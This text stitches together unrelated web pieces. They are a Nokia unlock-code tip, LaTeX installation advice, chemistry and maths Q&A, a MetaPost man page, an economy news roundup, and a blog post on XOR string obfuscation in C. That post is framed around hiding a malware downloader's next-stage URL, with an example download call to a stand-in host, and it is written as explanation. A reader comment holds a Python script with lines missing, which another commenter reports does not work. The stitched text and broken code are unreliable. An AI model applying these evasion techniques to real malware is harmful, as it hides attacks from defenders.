text:
lundi 8 février 2010

【转】诺基亚输入解锁码的方法

Model : All Nokia

1 - Switch ON your phone without SIM Card,
2 - Compose #PW+CODE+1#

The letter P appear after press 3 times quickly the button star ( * )
The letter W appear after press 4 times quickly the button star ( * )
The letter + appear after press 2 times quickly the button star ( * )

3 - The phone show "SIM Restriction Off" and was unlocked !

1. 不要插sim卡，开机
2. 输入： #PW+CODE+1#
3.SIM Restriction Off

1.code就是我给你的解锁码，如果解锁码是： 123456789123456 那么只需要输入
#PW+123456789123456+1#

2. p w + 这三个字符的输入方法

vendredi 5 février 2010

How to install style files in TexShop in Mac OSX Machine

Michael B. Williams wrote:

I am using the mactex distribution with texshop as my front end.

I have started using a package that does not come with the mactex
distribution, namely cleveref. I have the cleveref.sty file, and
currently if I want to use it I have to keep it in the same directory
as the tex file I am working on.

so, I would like to find out how I can install this package so that I
can use \usepackage{cleveref} from any tex document on my computer.

when I compile I see that texshop looks in the directory /usr/local/
texlive/2007/texmf-dist/tex/latex/ for the standard packages, such as
amsmath. so in this directory I created a new directory cleveref, and
dropped the sty file in it. unfortunately when I try to compile it
says it is missing the cleveref.sty file.

anyone know how I can install this package with my current set up?

Don't put packages not coming with the main distribution there. Rather
use /usr/local/texlive/texmf-local; otherwise the added file will
vanish when an update to the main distribution will be done.

From the Terminal, assuming you are in the directory where the
package files are:

% sudo mkdir -p /usr/local/texlive/texmf-local/tex/latex/cleveref
% sudo mv cleveref.sty /usr/local/texlive/texmf-local/tex/latex/cleveref
% ...(do the same for the other files)...
% sudo mktexlsr

Here "%" stands for the shell prompt, which will be different.
You can also navigate to /usr/local/texlive/texmf-local in the Finder
and copy the files this way. However you'll need to give the

sudo mktexlsr

anyway from the Terminal. If you don't know about "sudo", just do
assumes you are an administrator of the machine. The "mktexlsr"

Another way is to put the package files in

~/Library/texmf/tex/latex

(~ stands for your home directory). Other users of your machine will
not be able to use the added package, though. With this technique the
"mktexlsr" command is not needed.

Ciao
Enrico

Cite from: http://newsgroups.derkeiler.com/Archive/Comp/comp.text.tex/2008-05/msg00295.html

lundi 1 février 2010

[转] LaTex 注释

1. 用%注释一行文字, 在%后的文字都不予编译;
2. 用\iffalse .... \fi 包含一段文字, 被包含的文字被注释掉了;
3. 用\begin{comment} ... \end{comment} 包含被注释的文字, 但是需要在引言区包括相应的宏包, 即 \usepackage{verbatim}.

[转] LNCS LaTeX style works

I’m writing a paper for a conference. It should be written with conformance to the Lecture Notes in Computer Science style. After visiting the page with information for LNCS authors) I though that it might be a sort of magic for many people.
Springer encourages authors to use LaTeX2e, provides a style file for LaTeX, documentation and samples. The samples and instructions are quite good to start writing a paper immediately if
• you know LaTeX, and
• the llncs style is installed.
Springer can’t help with the first issue. But it isn’t important.
The problem is that they don’t provide (or I haven’t found) help on installing the style. The number of people that can do it is much smaller of those who know LaTeX.
Fortunately, I’m one from that small group. Here is my way to use the style locally without putting it into the core LaTeX directories.
The style files are stored in the file llncs2e.zip. I unpacked them into the folder “~/univer/gpce05/springer/texmf/tex/latex/llncs2e“. In fact, the path before “texmf” is not important.
First of all, I decided to check the sample file llncs.dem. As dvi-file already exists, I generated pdf:
$pdflatex llncs.dem$ pdflatex llncs.dem

The command was given twice to get correct links. On the first run, the database of links is created, and on the next runs the database is used.
Now goes local installation of the style. I’m not going to comment it. Consider it as magic:
$export TEXMFLOCAL=~/univer/gpce05/springer/texmf$ texconfig rehash
$file ~/univer/gpce05/springer/texmf/ls-R  The first command specifies location of the local TeX repository. The second commands indexes the repository, and the last one just makes sure that the index is created. To check, use the sample from the file typeinst.zip. Let me demonstrate a failure first. Open a new window and try to compile the TeX-file: $ latex typeinst.tex

You get an error like:
LaTeX Error: File llncs.cls' not found.

The right way is to specify the location of the repository first:
$export TEXMFLOCAL=~/univer/gpce05/springer/texmf$ latex typeinst.tex
\$ latex typeinst.tex
`
Again, I’m running LaTeX twice to get correct links.


text:
# Can someone explain how do I set up a molecular orbital diagram?

May 4, 2017

I will stick to diatomic molecules for simplicity. Some general steps are:

1. Choose the set of atomic valence orbitals that each atom comes in with. Assume core orbitals don't interact. Determine your coordinate axes.
2. Have an approximate idea of the relative orbital energies if working with a heteronuclear diatomic molecule.
3. By conservation of orbitals, each of the two corresponding atomic orbital interacts to produce one bonding and one antibonding molecular orbital in the middle.
4. By conservation of electrons, the valence electrons that are contributed by each atom equal the total number of valence electrons distributed in the MO diagram.
5. Fill the diagram with electrons as usual in accordance with the Aufbau principle, Hund's rule, etc.

Some general rules or tips are:

• Antibonding orbitals usually are approximately as higher in energy as bonding orbitals are lower in energy than the original atomic orbital energies.
• Nonbonding orbitals have either a similar energy to the original atomic orbital energy, or have both bonding and antibonding contributions from the interacting atomic orbitals.
• Large atomic orbital energy offsets correspond to relative molecular orbital energy offsets. This helps with orbital energy ordering.

Let's construct an MO diagram for $\text{CO}$.

CHOOSE YOUR ATOMIC ORBITALS & AXES

• Carbon has $2 s$ and $2 p$ atomic valence orbitals.
• Oxygen has $2 s$ and $2 p$ atomic valence orbitals.

ATOMIC ORBITAL ENERGY DIAGRAM

From the original atomic orbital energies, we then construct the two atomic orbital energy diagrams:

(On an exam, you may only be expected to work with homonuclear diatomic molecules, in which case you probably don't have to worry about relative energies.)

GENERATION OF MOLECULAR ORBITALS

Then, each pair of atomic orbitals generates molecular orbitals as follows. Here is an $n s$ interaction:

For lithium through nitrogen (including nitrogen), orbital mixing occurs, so that the ${\sigma}_{n {p}_{z}}$ orbital is higher in energy than the ${\pi}_{n {p}_{x}}$ and ${\pi}_{n {p}_{y}}$ orbitals.

Therefore, carbon has its energy ordering switched compared to oxygen, and so, the $n p$ interactions look like this:

OVERALL MO DIAGRAM

Now put it together to get:

Note that on an exam, you probably aren't expected or required to know exactly how the interactions go. It's enough to know the relative energies of the molecular orbitals compared to the atomic orbitals, and to know how many valence electrons go in.

format: plain


text:
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# RedHat 9 (Linux i386) - man page for mpost (redhat section 1)

Linux & Unix Commands - Search Man Pages
 Man Page or Keyword Search: man All Sections 1 - General Commands 1m - System Admin 2 - System Calls 3 - Subroutines 4 - Special Files 5 - File Formats 6 - Games 7 - Macros and Conventions 8 - Maintenance Commands 9 - Kernel Interface N - New Commands Select Man Page Set:       Linux 2.6 RedHat 9 (Linux i386) Debian 7.7 SuSE 11.3 CentOS 7.0 SunOS 5.10 OpenSolaris 2009.06 BSD 2.11 FreeBSD 11.0 NetBSD 6.1.5 OSX 10.6.2 OpenDarwin 7.2.1 ULTRIX 4.2 PHP 5.6 Minix 2.0 Plan 9 Unix Version 7 OSF1 5.1 (alpha) POSIX 1003.1 X11R7.4 XFree86 4.7.0 all unix.com man page sets apropos Keyword Search (sections above)

 MPOST(1) MPOST(1) NAME mpost, inimpost, virmpost - MetaPost, a system for drawing pictures SYNOPSIS mpost [options] [commands] DESCRIPTION This manual page is not meant to be exhaustive. The complete documentation for this ver- sion of TeX can be found in the info file or manual Web2C: A TeX implementation. MetaPost interprets the MetaPost language and produces PostScript pictures. The MetaPost language is similar to Knuth's Metafont with additional features for including tex(1) or troff(1) commands and accessing features of PostScript not found in Metafont. Like TeX and Metafont, MetaPost is normally used with a large body of precompiled macros. This version of MetaPost looks at its command line to see what name it was called under. Both inimpost and virmpost are symlinks to the mpost executable. When called as inimpost (or when the --ini option is given) it can be used to precompile macros into a .mem file. When called as virmpost it will use the plain mem. When called under any other name, MetaPost will use that name as the name of the mem to use. For example, when called as mpost the mpost mem is used, which is identical to the plain mem. Other mems than plain are rarely used. The commands given on the command line to the program are passed to it as the first input line. (But it is often easier to type extended arguments as the first input line, since UNIX shells tend to gobble up or misinterpret MetaPost's favorite symbols, like semi- colons, unless you quote them.) The first line should begin with a filename, a \con- trolsequence, or a &memname. The normal usage is to say mp figs to process the file figs.mp. The basename of figs becomes the jobname'', and is used in forming output file names. If no file is named, the jobname becomes mpout. The default extension, .mp, can be overridden by specifying an extension explicitly. There is normally one output file for each picture generated, and the output files are named jobname.nnn, where nnn is a number passed to the beginfig macro. The output file name can also be jobname.ps if this number is negative. The output files can be used as figures in a TeX document by including \special{psfile=jobname.nnn} in the TeX document. Alternatively, one can \input epsf.tex and then use the macro \epsfbox{jobname.nnn} to produce a box of the appropriate size containing the figure. btex TeX commands etex This causes mp to generate a MetaPost picture expression that corresponds to the TeX commands. If the TeX commands generate more than one line of text, it must be in a \vbox or a minipage environment. verbatimtex TeX commands etex This is ignored by mp except that the TeX commands are passed on to TeX. When using LaTeX instead of TeX the input file must start with a verbatimtex block that gives the \documentstyle and \begin{document} commands. You can use the %&' con- struct in the first verbatimtex block to ensure that the correct TeX format is used to process the commands. Since most TeX fonts have to be downloaded as bitmaps, the btex feature works best when the output of mp is to be included in a TeX document so that dvips(1) can download the fonts. For self-contained PostScript output that can be used directly or included in a troff document, start your MetaPost input file with the command prologues:=1 and stick to standard PostScript fonts. TeX and MetaPost use the names in the third column of the file trfonts.map, which can be found in the directories with support files for MetaPost. MetaPost output can be included in a troff document via the -m pictures macro package. In this case mp should be invoked with the -T flag so that the commands between btex and etex or between verbatimtex and etex are interpreted as troff instead of TeX. (This automati- cally sets prologues:=1 ). OPTIONS This version of MetaPost understands the following command line options. --mem mem Use mem as the name of the mem to be used, instead of the name by which MetaPost was called or a %& line. --help Print help message and exit. --ini Be inimpost, for dumping bases; this is implicitly true if the program is called as inimpost. --interaction mode Sets the interaction mode. The mode can be one of batchmode, nonstopmode, scrollmode, and errorstopmode. The meaning of these modes is the same as that of the corresponding commands. --kpathsea-debug bitmask Sets path searching debugging flags according to the bitmask. See the Kpathsea manual for details. --progname name Pretend to be program name. This affects both the format used and the search paths. -T Produce TROFF output. --translate-file tcxname Use the tcxname translation table. --troff As -T. --version Print version information and exit. ENVIRONMENT See the Kpathsearch library documentation (the Path specifications' node) for the details of how the environment variables are use when searching. The kpsewhich utility can be used to query the values of the variables. If the environment variable TEXMFOUTPUT is set, MetaPost attempts to put its output files in it, if they cannot be put in the current directory. Here is a list of the environment variables affect the behavior of mp: MPINPUTS Search path for input files. MFINPUTS Auxiliary search path for input files with .mf extensions. MPSUPPORT Directory for various tables for handling included tex and troff. MPXCOMMAND The name of a shell script that converts embedded typesetting commands to a form that MetaPost understands. Defaults: makempx for tex and troffmpx for troff. TEX The version of TeX - or LaTeX - to use when processing btex and verbatimtex commands. Default tex. This version of MetaPost allows you to use a %&format' line instead. TROFF The troff pipeline for btex and verbatimtex commands. Default eqn -d\$\$ | troff MPEDIT A command template for invoking an editor. A .mem file is a binary file that permits fast loading of macro packages. mpost reads the default plain.mem unless another .mem file is specified at the start of the first line with an & just before it. There is also an that simulates plain Metafont so that mpost can read .mf fonts. (Plain Metafont is described in The Metafontbook). Experts can create .mem files be invoking inimpost and giving macro definitions followed by a dump command. The MetaPost language is similar to Metafont, but the manual A User's Manual for MetaPost assumes no knowledge of Metafont. MetaPost does not have bitmap output commands or Metafont's online display mechanism. FILES mpost.pool Encoded text of MetaPost's messages. *.mem Predigested MetaPost mem files. plain.mp The standard mem file. mfplain.mp The Metafont-compatible mem file. This is loaded when virmp is invoked via a symbolic link as mfmp. $TEXMFMAIN/metapost/base/*.mp The standard MetaPost macros included in the original distribution.$TEXMFMAIN/metapost/support/* Various tables for handling included tex and troff. $TEXMFMAIN/metapost/support/trfonts.map Table of corresponding font names for troff and PostScript. psfonts.map Table of corresponding font names for tex and PostScript.$TEXMFMAIN/doc/metapost/examples.mp The source file for a few sample figures that are part of a LaTeX document \$TEXMFMAIN/doc/metapost/mpintro.tex that describes the MetaPost system in a little more detail. SUGGESTED READING Donald E. Knuth, The Metafontbook (Volume C of Computers and Typesetting), Addison- Wesley, 1986, ISBN 0-201-13445-4. John D. Hobby, A User's Manual for MetaPost, CSTR 162, AT&T Bell Labs, John D. Hobby, Drawing Graphs with MetaPost, CSTR 164, AT&T Bell Labs, TUGboat (the journal of the TeX Users Group). SEE ALSO tex(1), mf(1), dvips(1). AUTHORS MetaPost was designed by John D. Hobby, incorporating algorithms from Metafont by Donald E. Knuth. It was originally implemented on Unix, incorporating system- dependent routines from web2c, while not relying on it exccept for the actual Web- to-C translator. Ulrik Vieth adapted MetaPost to take advantage of the advanced path searching fea- tures in more recent versions of web2c and worked towards fully integrating Meta- Post into the canonical Unix TeX distribution. He also updated and extended this manual page. TRIVIA Unlike TeX and Metafont, MetaPost originally didn't use any fancy logo. John Hobby says he prefers the spelling MetaPost'', yet Don Knuth has updated the Metafont logo.mf font to be able to typeset a proper MetaPost logo similar to the Metafont logo. Feel free to use whatever you think is more approporiate! Web2C 7.3.1 29 March 1999 MPOST(1)`
Unix & Linux Commands & Man Pages : ©2000 - 2018 Unix and Linux Forums

All times are GMT -4. The time now is 04:37 PM.


text:
# DIY String obfuscation for plain C

Say you want to write a C program, but you want to avoid including plain strings within the binary. This is something often done by malware authors, for example, to avoid easy extraction of so called indicators of compromise. I can also imagine a legitimate business that uses string obfuscation to make reverse engineering of their software harder to protect their intellectual property. This is often called string obfuscation.

## Motivation

Let's stay with malware as an example use-case for string obfuscation and let's also consider a simple downloader, i.e. a malware with the sole purpose to download something from the Internet - the so called next stage - and execute it on the targeted system. Let's further assume, the downloader uses HTTP. This is a common choice for malware authors, probably because it nicely blends into legitimate network traffic and it is easy to use: The Windows API supports HTTP natively and setting up a HTTP server is easy as pie. Since the downloader somhow needs to know, what to download, the URL of the next-stage has to be contained in the downloader somehow. Calling strings malware.exe | grep http for example is a very easy way to "extract" the next-stage URL from malware when it is just included as a plain string in the binary. But the author1 has an interest in making it harder to extract the URL from the malware: If I - as a defender - can extract the next-stage URL that easily, I can just block the URL (or even the domain) from resolving in my network and hence make the malware ineffective. Depending on where the next-stage URL is hosted, it may even be possible to notify the hoster of malicious activity and cause a take down of the URL or domain.

## The Naïve Approach

The most obvious approach the archive the goal is, to replace every string in the source code with a call to a function that returns the actual string. So
download("http://example.com/next-stage.exe")

would become something like
download(deobfuscate("mambojumbo123", "more arguments if needed", 123))

Doing this by hand is annoying, time consuming and error prone. So let's automate this step, i.e. call some sort of pre-processor that takes the original source code as input and outputs source code with all strings replaced by calls to the deobfuscate function. But there is a problem with this approach: The original source code used a constant string, which does not need to be freed explicitly. But the deobfuscate function will allocate some new memory (on the heap) to put the deobfuscated variant of the string in it. Hence the program will start to leak memory, which is unacceptable!

## Don't Leak

To avoid memory leakage, we want to somehow establish a contract with the user of this obfuscation technique, such that "protected strings" are freed after use. Let's re-implement strdup but give it a different name:
char *protect(char *s) {
char *ret = malloc(sizeof(char) * (strlen(s) + 1));
if (ret == NULL) return NULL;
strcpy(ret, s);
return ret;
}

The function accepts a string as its only argument, allocates enough memory to store a copy of it and returns a pointer to this memory. The contract with the author of C code now is, that every string that should be obfuscated, needs to be passed to the protect function. This forces a developer to free the string after usage:
char *s = protect("http://example.com/next-stage.exe");
if (s != NULL) {
free(s);
}

This also makes pattern-matching for string much easier: we can just regex for something like this
protect$$"([^"]+?)"$$

and replace it with calls to deobfuscate.

## Concrete Obfuscation

Up to this point, we haven't talked about a concrete implementation of the obfuscation. For starters, we will take something simple: generate a random array - a key - for every string to be protected and deobfuscate just XORs the obfuscated string with the key to get the original string back:
char *deobfuscate(char *buffer, int len, char *key, int key_len) {
char *ret = malloc(sizeof(char) * (len + 1));
ret[len] = '\0';
for (int i = 0; i < len; i++) {
ret[i] = buffer[i] ^ key[i % key_len];
}
return ret;
}

So Instead of protect("example.com") the source code that will be compiled will contain something like this:
deobfuscate("\x3a\xe1\x08\x12\x60\xd0\x6f\x71\xfa\x06\x12", 11, "\x5f\x99\x69\x7f\x10\xbc\x0a", 7);

The original source codes will only contain calls to protect and no calls to deobfuscate and the source code with obfuscated strings will not contain any calls to the protect function anymore and only calls to deobfuscate. Implementation of such a pre-processing script is left as an exercise to the reader.

## The Twist

I felt pretty confident with this second approach, compiled the source code with all interesting strings obfuscated and called strings on the resulting executable. To my surprise, it still contains the next-stage URL. Or at least, fragments of it. To understand, what happened, I launched Ghidra2 and threw the binary into it. The place where there should have been a call to deobfuscate just lead to the following decompiled code:
BYTE *Memory = malloc(0xc);
if (Memory != NULL) {
*(Memory + 8) = 0x6d6f63;
*Memory = 0x2e656c706d617865;
/* ... */
}

There is no call to deobfuscate but merely a call to malloc. And where do these hexadecimal numbers come from? Taking endianness into account, the two assignments result in an array with the following content:
{0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00}

which is equivalent to the string example.com. And while it was harder to extract the string from the binary, this is not the intended result! What happened? You might already have guessed that the deobfuscate function was inlined by the compiler as a performance optimization. This explains why the call to deobfuscate is gone and the call to malloc from within the function is there. And the compiler figured out that the for loop only depends on variables that have constant values. Which makes it possible to execute the loop at compile time and just generate code that assigns the content from after the loop to the array.

## The Solution

Disabling -O3 optimization was not an option for me. I talked with tobi about this and he suggested a very simple solution: the compiler is only able to inline the deobfuscate function because it knows at compile time, how deobfuscate is defined. Placing the function into a separate module - which is a good idea anyway to make code reusage easier - avoids the above-described optimization entirely because the compiler only knows at link-time, how deobfuscate is defined, which is too late for compile-time optimizations. The result is a binary that does not contain the string in plain text anymore! Great success.
1. or, to be more precise, the operator of the malware []
2. The Reverse Engineering Tool developed by the NSA and released as open source a few months ago. This is a big deal because it basically democratized the reverse engineering community ... but I digress []

## 3 Replies to “DIY String obfuscation for plain C”

1. There are some other options: Turn off optimization for a certain part of code: For GCC:
#pragma GCC push_options
#pragma GCC optimize ("O0")
void foo(void) {}
#pragma GCC pop_options

For MSVC:
#pragma optimize( "", off )
void foo(void) {}
#pragma optimize( "", on )

Do Not inline: GCC
void __attribute__ ((noinline)) foo() {}

MSVC:
__declspec(noinline)
void foo(void) {}

2. use it: python3 script.py code.c
import re
import binascii
import itertools
import sys, getopt

def byte_xor(ba1, ba2):
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])

def encode_plaintext(plaintext):
one_time_pad *= 100 # should exceed any string in your C code
return ciphertext

def main(argv):
p = re.compile(r"protect("(.+?)")") #slightly fixed

for filepath in argv:
with open(filepath, 'r+') as content_file:

matches = p.finditer(content, re.MULTILINE)

for matchNum, match in enumerate(matches, start=1):
print("Match {matchNum} was found at {start}-{end}: {match}".format(matchNum = matchNum, start = match.start(), end = match.end(), match = match.group()))

for groupNum in range(0, len(match.groups())):
groupNum = groupNum + 1

plaintext = match.group(groupNum)
# print("Group {groupNum} found at {start}-{end}: {group}".format(groupNum = groupNum, start = match.start(groupNum), end = match.end(groupNum), group = plaintext))

encoded_bytes = encode_plaintext(plaintext)
formated_str = "deobfuscate("" + "".join(str(hex(encoded_byte)).replace("0x", "\x") for encoded_byte in encoded_bytes) + "", " + str(len(encoded_bytes)) +")"

print(plaintext, ":encoded to:", formated_str)
content = content.replace(match.group(), formated_str)
# print(content)

f = open(filepath, "w")
f.write(content)
f.close()
pass
return 0

if __name__ == "__main__":
main(sys.argv[1:])

1. Catman says:
Hello Anvol, thank you for your python script, unfortunately, it doesn't work.


text:
# Gauss's law in 2D

1. Mar 5, 2008

### Pacopag

1. The problem statement, all variables and given/known data
Is there an analog to Gauss's theorem (sorry about the title) in 2D.
The reason is to develop the continuity equation in 2D.

2. Relevant equations
In 3D it is.
$$\int_{S}{\bf A}. d{\bf S}=\int_{V}(\nabla . {\bf A})dV$$
(please forgive my latex. A and dS should be vectors).

3. The attempt at a solution
I suppose we may extend the situation to 3d by allowing a little slice "out of the page" (so that our volume looks like a pancake) and just use the theorem as usual, while imposing that A does not have any component "out of the page", then afterwards take the thickness of the slice to go to zero.

Last edited: Mar 5, 2008
2. Mar 5, 2008

### Dick

Sure. That's just the divergence theorem. Replace S by boundary(V). In fact there is a 1D version. It's called the fundamental theorem of calculus.

3. Mar 5, 2008

### HallsofIvy

Staff Emeritus
Gauss' Law is also known as the "divergence theorem". You can get $\vec{A}$ and $\d\vec{S}$ by [ itex ]\vec{A}[ /itex ] and [ itex ]d\vec{A}[ /itex ] without the spaces. In general you can see the latex code by clicking on the LaTex.

The closest analogue to Gauss' law in 2 dimensions is Stokes Theorem:
$$\int_C \vec{v}\cdot ds= \int\int_S (\del\cdot d\vec{S}$$
where C is the boundary of the surface S. If S is in the xy-plane, that is Green's Theorem.

All of those are special cases of the generalized Stoke's theorem:
$$\int_M d\omega= \int_{\partial M} \omega$$
where $\omega$ is a differential form on the simply connected manifold M, $d\omega$ is the differential of $\omega$, and $\partial M$ is the boundary of M.

4. Mar 5, 2008

### Pacopag

So in 2D it would look like
$$\int_{L}{\bf A}. d{\bf L}=\int_{V}(\nabla . {\bf A})dS$$
Where S is now the area (taking the place of the volume in the 3D version), and L is the contour enclosing the area (taking the place of the surface in the 3D version), and $$\nabla$$ is the 2D gradient operator. Is that right?

5. Mar 5, 2008

### Pacopag

Looking good. What I'm getting is that the continuity equation looks like
$$\nabla.(\rho u)+{{\partial \rho}\over{\partial t}}=0$$
where rho is the density and u is the 2D velocity field.
i.e. exactly the same as the 3D continuity equation, but now the $$\nabla$$ is the 2D gradient operator.
Is all this correct?

6. Mar 5, 2008

### Dick

Yes. The continuity equation looks the same in all dimensions.

7. Mar 5, 2008

### Pacopag

Great. Thank you both very much.


text:
# How to find a basis for the kernel and image of a linear transformation matrix

Let $$A= \begin{bmatrix} 0 & 0 & 6 & -18 \\ 0 & 0 & -1 & 3 \\ 0 & 0 & -2 & 6 \\ \end{bmatrix}$$ Find a basis for the kernel and image of the linear transformation $T$ defined by $T(x) =Ax$.

My question is how do you handle the first 2 columns of A which are all zero's? Does that mean the top 2 values of the basis of the kernel are variables? both zero? The methods I know for calculating the basis for the kernel and image of a transformation matrix are not producing the correct answers in WebWork.

By elimination, you will end up with $$\begin{bmatrix} 0 & 0 & 0 & 0 \\ 0 & 0 & -1 & 3 \\ 0 & 0 & 0 & 0 \\ \end{bmatrix}$$ which gives you the dimension of the image of $T$ and the kernel of $T$.

Now, you can read from the matrix a basis for the image of $T$. On the other hand $$-x_3+3x_4=0$$ tells you how to find a basis for the kernel of $T$.

Image is spanned on linearly independent columns of matrix $A$, which follows from definition of matrix of linear transformation. To find it do the row reduction of $A^T$ and its nonzero columns span the image, or equivalently, if you row reduce $A$ then columns with pivots will correspond to columns of $A$ that form image of the transformation. Kernel is set of vectors $x$ such that $Ax=0$. To find it's base you need to solve system of equations given by $Ax=0$.

The kernel basis is:

$$\left[ \begin{array}{cc} 0&0&1&1/3\\ \end{array} \right]^T, \left[ \begin{array}{cc} 1&0&0&0\\ \end{array} \right]^T, \left[ \begin{array}{cc} 0&1&0&0\\ \end{array} \right]^T$$

The image basis is:

$$\left[ \begin{array}{cc} 6&-1&-2\\ \end{array} \right]^T$$


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# Economy This Week (6th Feb to 12th Feb 2021)

Economy is an important part of the UPSC prelims and mains exams; this series titled ‘Economy This Week’ has been initiated to address the need to read and analyse economic articles in various business-related newspapers. The round-up of the Economy/Business section news for 6th Feb to 12th Feb 2021 is given below. Business news is essential for IAS exam preparation.

ETW 6th Feb to 12th Feb 2021:-

1. RBI - Monetary Policy Review (TH 6/2/21)
2. PM Fasal Bima Yojana (FE 8/2/21)
3. Interest equalisation scheme for exporters likely to be extended (BL 12/2/21)
4. Airlines told to rejig UDAN flights to cut VGF (BL 9/2/21)
5. Govt to clarify e-com FDI rules (TH 10/2/21)
6. Crude price shock for consumers (BL 10/2/21)
7. With banks wary of loans under ECLGS, MSMEs could be the next stress area (TH 10/2/21)
8. DFI structure (BS 8/2/21)
9. PLI scheme to be launched on April 1 (FE 6/2/21)

1. RBI – Monetary Policy Review (TH 6/2/21)

• RBI has held the interest rate and also continued with the accommodative policy stance.
• It has lowered its projection for the retail inflation rate and also gradually normalised the Cash Reserve Ratio (CRR) from 3% to 4% by May 2022.
• The inflation rate has remained over 6% for over six consecutive months to come down to 4.6% in December (because of lower vegetable prices and base effect). The core inflation has however remained elevated at 5.5, with marginal moderation from a month earlier.
• The MPC has revised its retail inflation target for the fourth quarter from 5.8% to 5.2%.
• It also has estimated a real GDP growth rate of 10.5% for FY22, lower than 11% projected in Economic Survey and 11.5% by IMF.
• It maintained that recovery was ongoing and needs policy support.

2. PM Fasal Bima Yojana (FE 8/2/21)

• Effective from 2020-21 cropping year, crop insurance was made voluntary for the loanee farmers.
• Despite being made voluntary there has been no big drop in the numbers.
• A total of 5.96 Cr farmers have joined the Pradhan Mantri Fasal Bima Yojana (PMFBY) and Restructured Weather Based Crop Insurance Scheme (RWBCIS) in 2020-21 compared to 6.1 Cr in the previous year.
• The former has a 90% share in the crop insurance business and the latter has 10%.
• Pan India ratio of loanee and non-loanee farmers under the scheme was 6:4 earlier and has remained almost the same in 2020-21. However, in case of absolute numbers, the loanee farmers have remained the same i.e. around 3.8 Cr, the non-loaned farmers have come down by 15 lakh to 2.1 Cr.
• These schemes were not implemented in 2020-21 in some of the states – Gujarat, Andhra Pradesh, Telangana, Jharkhand. As many as 74 lakh farmers had enrolled in these states in 2019-20.
• Many experts and analysts had predicted that the subscriptions might fall by a quarter once the scheme is made voluntary.
• Changes announced:
• In February, govt announced that from Kharif 2020, the scheme will be made voluntary for the loanee farmers. In order to prevent a drastic fall in the number, govt provided for an ‘opt out’ provision which meant the farmers will be not covered until they give it in writing to the banks.
• The premium share of the govt was reduced to 30% of the sum assured in non-irrigated areas and 25% in irrigated areas.

3. Interest equalisation scheme for exporters likely to be extended (BL 12/2/21)

• Interest Equalisation Scheme (IES) was announced in the Foreign Trade Policy 2015 and was applicable for a period of five years.
• Govt has already extended this for one year as it has delayed the implementation of a new foreign trade policy.
• It is now likely that it will be extended by another year.
• This extension is on the cards to help exporters to tide over the impact of the disruptions caused by Covid.
• Under this scheme:
• Exporters get a subsidy on pre- and post-shipment export credit ranging between 3% to 5%.
• Banks provide credit at a lower interest rate to exporters and are later reimbursed by the govt.
• It is available for all the MSME exporters, other exporters get it for 416 identified products.
• However, there is no clarity whether this would be integrated into the new FTP which would be in force from 1st April.
• Some experts are of the opinion that the scheme may be challenged at the WTO.
• The govt is looking at all the available options to promote exports as these have taken a beating because of the pandemic.

4. Airlines told to rejig UDAN flights to cut VGF (BL 9/2/21)

• Ude Desh ka Aam Nagarik (UDAN) or Regional Connectivity Scheme (RCS) is a connectivity scheme launched by the govt to under and unserved airports.
• The govt provides Viability Gap Funding (VGF) for a certain period of time for the airlines operating on these routes.
• Post the pandemic, flights were not allowed to fly UDAN routes beyond 500 km but now the Centre will allow these routes with a distance of over 500 km provided VGF cap rules are followed.
• The Ministry of Civil Aviation has asked all the airlines to either reduce the frequency of flights or the number of seats per flights under UDAN in such a way that the VGF will be lowered by 40%.
• This is said to be a temporary rationalisation move, however, this is expected to affect the revenues of the regional carriers the most and there is a concern that some of the routes may become unviable after this order.
• The govt has also been on a losing side because of the lower demand and the pandemic.

5. Govt to clarify e-com FDI rules (TH 10/2/21)

• There have been some complaints against practices of some of the foreign e-commerce companies. The govt in this regard may issue a clarification on FDI policy for e-commerce.
• The govt has clarified that:
• E-commerce companies are allowed to act as service providers.
• They are to provide space/platform for both sellers and buyers to transact with each other and should not be part of trading transactions.
• It should not be funding it or having trading algorithms that give preference to one or the other.
• They should not be promoting their own products.
• Provide all data for the consumers to make a rational choice.
• However, the govt will not be changing the FDI policy for e-commerce.

6. Crude price shock for consumers (BL 10/2/21)

• The fuel prices are rising on account of higher crude prices and this is hurting the common man. With this, the pressure on the central govt to reduce the excise duty is also on the rise.
• The prices of petrol and diesel reached a record high of ₹ 93.83 per litre and ₹ 84.36 per litre respectively
• The Brent crude price crossed \$60 per barrel and is likely to rise further as oil-producing nations are restricting supply.
• In addition to this, the govt has introduced Agriculture Infrastructure and Development Cess of ₹ 2.5 and ₹ 4 per litre of petrol and diesel respectively (but has lowered the excise duty on petrol and diesel by the corresponding amount so that the prices of these fuels do not increase).
• Even after lowering the excise duties, these remain quite high compared to pre-covid levels.
• In March and May of 2020, the govt raised the excise duty on petrol and diesel by ₹ 13 and ₹ 16 per litre respectively.
• Since 2014, the new govt has raised the excise duty on petrol and diesel by almost 350% and 894% (but recently has reduced it in the budget).
• In addition to this, another reason for higher entail price of these fuels is the VAT imposed by the states. Since the VAT is an ad valorem tax and grows with a rise in crude prices, this is bound to push up the prices.

7. With banks wary of loans under ECLGS, MSMEs could be the next stress area (TH 10/2/21)

• Union govt in May 2020 had approved the Emergency Credit Line Guarantee Scheme (ECLGS).
• It was to ease the Covid related stress faced by MSMEs by providing them additional funding of up to ₹ 3 lakh Cr in the form of a fully guaranteed emergency credit line.
• It was later extended to cover 26 sectors identified by the Kamath Committee, and the healthcare sector.
• These loans have a tenure of 5 years.
• These also have a moratorium period of 12 months.
• The scheme is available till 31st March 2021 or till guarantees for ₹ 3 lakh Cr are sanctioned, whichever is earlier.
• The cumulative amount of loans under the scheme by January 25 was ₹ 2.39 lakh Cr and around 91 lakh guarantees have been issued under the scheme.
• The banks are concerned about repayment ability of these MSMEs, which could lead to a rise in NPAs.
• With better recovery in the economy, it is expected that the companies/borrowers will start making repayments.

8. DFI structure (BS 8/2/21)

• New DFI is likely to be set up with India Infrastructure Finance Institution (IIFCL’s) paid-up capital of ₹ 10000 Cr and an equal amount from budgetary support.
• It may have a lower Capital Adequacy Ratio (CAR) of 9% as compared to 12-15% in case of NBFCs.
• The RBI Act and Banking Regulation Act have been amended for enabling it to access line of credit.
• Govt and other investors may also infuse up to ₹ 1 tn in DFI at a later stage. The govt’s contribution is expected to come from supplementary demands for grants.
• There is also said to be a separate provision in the National Bank for Financing Infrastructure and Development (NaBFID) for setting up of private sector DFI. The govt may own it initially and the stake may be reduced to 26% at later stages.

9. PLI scheme to be launched on April 1 (FE 6/2/21)

• Govt will be launching Production Linked Incentive Scheme (PLI) scheme for white goods from 1st April.
